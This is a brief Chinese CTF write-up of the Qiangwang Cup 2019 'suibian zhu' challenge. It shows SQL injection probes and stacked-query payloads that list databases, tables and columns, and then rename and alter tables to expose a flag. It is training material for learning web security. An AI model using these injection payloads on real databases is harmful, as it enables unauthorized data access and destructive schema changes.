先输入万能密码确定一下是否有Sql注入漏洞
1' order by 3#
当查询三列时,报错
只有2个字段。按照注入思路一步一步下去:
1' union select 1#
发现主要的查询语句被过滤:
在这里我学到了一个新的注入方法,堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条Sql语句同时执行,就是个;分隔,成堆的执行sql语句
';show databases;#
查询表
';show tables;#
其实直觉就觉得大概在1919810931114514里面有,让我们打开看一下
';show columns from `1919810931114514 `; #
新知识:堆叠注入遇到有数字时要用那个反引号包裹起来。
存在flag,但是没有办法访问。这里借鉴一下大佬的博客(4条消息) SQL Injection8(堆叠注入)——强网杯2019随便注_恋物语战场原的博客-CSDN博客_强网杯2019随便注
这里的意思大概是:这个默认查询word表的内容,没有办法看flag所在的表的字段,所以要将word所在的表名改为word,将word改为其他的表,即可默认查询flag。所以得到payload
';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
在用万能密码绕过即可得到flag: